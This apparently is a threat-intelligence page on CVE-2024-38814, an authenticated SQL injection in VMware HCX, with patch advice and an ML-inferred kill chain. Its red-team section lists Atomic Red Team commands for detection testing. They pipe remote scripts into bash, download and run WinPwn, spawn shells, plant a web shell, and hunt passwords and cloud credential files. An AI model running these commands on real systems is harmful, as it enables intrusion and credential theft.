CVE-2024-38814
Overview
This vulnerability is an authenticated SQL injection affecting VMware HCX, specifically the HCX manager component. The root cause lies in improper sanitization of user-supplied input within SQL queries, allowing a malicious authenticated user with limited privileges to inject crafted SQL statements. This flaw occurs in the backend database interaction layer of the HCX manager, enabling manipulation of query logic.
Vulnerability Description
An authenticated SQL injection vulnerability in VMware HCX was privately reported to VMware. A malicious authenticated user with non-administrator privileges may be able to enter specially crafted SQL queries and perform unauthorized remote code execution on the HCX manager. Updates are available to remediate this vulnerability in affected VMware products.
Impact
An attacker with valid non-administrative credentials can leverage this flaw to execute arbitrary SQL commands, leading to unauthorized remote code execution on the HCX manager. This enables compromise of the affected system, potentially resulting in data exfiltration, system manipulation, or lateral movement within the network. Exploitation requires network access and authenticated user privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N).
Solution
VMware has released updates to remediate this vulnerability in affected HCX products, including version 4.10.0. Administrators should apply the patches as detailed in the Broadcom security advisory (https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25019). Following the vendor's guidance ensures the SQL injection flaw in the HCX manager is mitigated. No specific workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in VMware HCX arises from an authenticated SQL injection flaw, which permits a malicious user with non-administrator privileges to execute specially crafted SQL queries. This type of vulnerability typically occurs when user input is improperly sanitized, allowing attackers to manipulate the underlying SQL database. In this case, the attacker can leverage the SQL injection to perform unauthorized remote code execution on the HCX manager. The implications of this flaw are significant, as it undermines the integrity of the application and potentially exposes sensitive data or system controls to unauthorized manipulation.
Attack vectors for this vulnerability are particularly concerning due to the requirement for authentication. An attacker must first gain access to the HCX environment, which could be achieved through various means such as credential theft, phishing, or exploiting other vulnerabilities to escalate privileges. Once inside, the attacker can craft SQL queries that exploit the injection flaw, leading to unauthorized actions within the application. Scenarios could include altering database records, extracting sensitive information, or executing arbitrary commands on the server, all of which could have devastating consequences for the organization’s operations and data security.
The real-world impact of this vulnerability is profound, particularly for organizations relying on VMware HCX for cloud migration and workload management. The potential for unauthorized remote code execution poses a significant business risk, as it could lead to data breaches, service disruptions, and loss of customer trust. Furthermore, the exploitation of this vulnerability could result in compliance violations, especially for organizations subject to regulations such as GDPR or HIPAA, which mandate stringent data protection measures. The financial repercussions could be substantial, encompassing both direct costs associated with incident response and remediation, as well as indirect costs related to reputational damage and loss of business.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious input. Organizations should also ensure that they are running the latest versions of VMware HCX and apply any available patches promptly. User education is equally important, as training employees on secure password practices and recognizing phishing attempts can reduce the likelihood of unauthorized access.
In conclusion, the authenticated SQL injection vulnerability in VMware HCX represents a significant threat to organizations utilizing this technology. The potential for unauthorized remote code execution underscores the need for robust security measures and proactive risk management strategies. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and protect their critical assets. Regular updates and a culture of security awareness will be essential in mitigating the risks associated with this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-38814, with our telemetry indicating the first confirmed sighting of exploitation attempts. This development is accompanied by a slight increase in the Exploit Prediction Scoring System (EPSS) score, reflecting a modest uptick in the likelihood of exploitation in the near term. While no new exploit techniques or proof-of-concept code have surfaced, the emergence of active targeting signals a shift from theoretical risk to practical threat, underscoring the vulnerability’s growing attractiveness to adversaries. For defenders, this transition elevates the urgency of monitoring and response efforts, as the presence of exploitation attempts—even if limited—suggests that threat actors are actively probing VMware HCX environments for weaknesses. Although the overall threat level remains high, this new activity indicates a potential for accelerated exploitation campaigns, warranting heightened vigilance and prioritization in vulnerability management workflows.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vmware | Vmware Hcx | All |
cpe:2.3:a:vmware:vmware_hcx:*:*:*:*:*:*:*:*
|
|
|
Vmware | Vmware Hcx | All |
cpe:2.3:a:vmware:vmware_hcx:*:*:*:*:*:*:*:*
|
|
|
Vmware | Vmware Hcx | 4.10.0 |
cpe:2.3:a:vmware:vmware_hcx:4.10.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-38814 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25019 |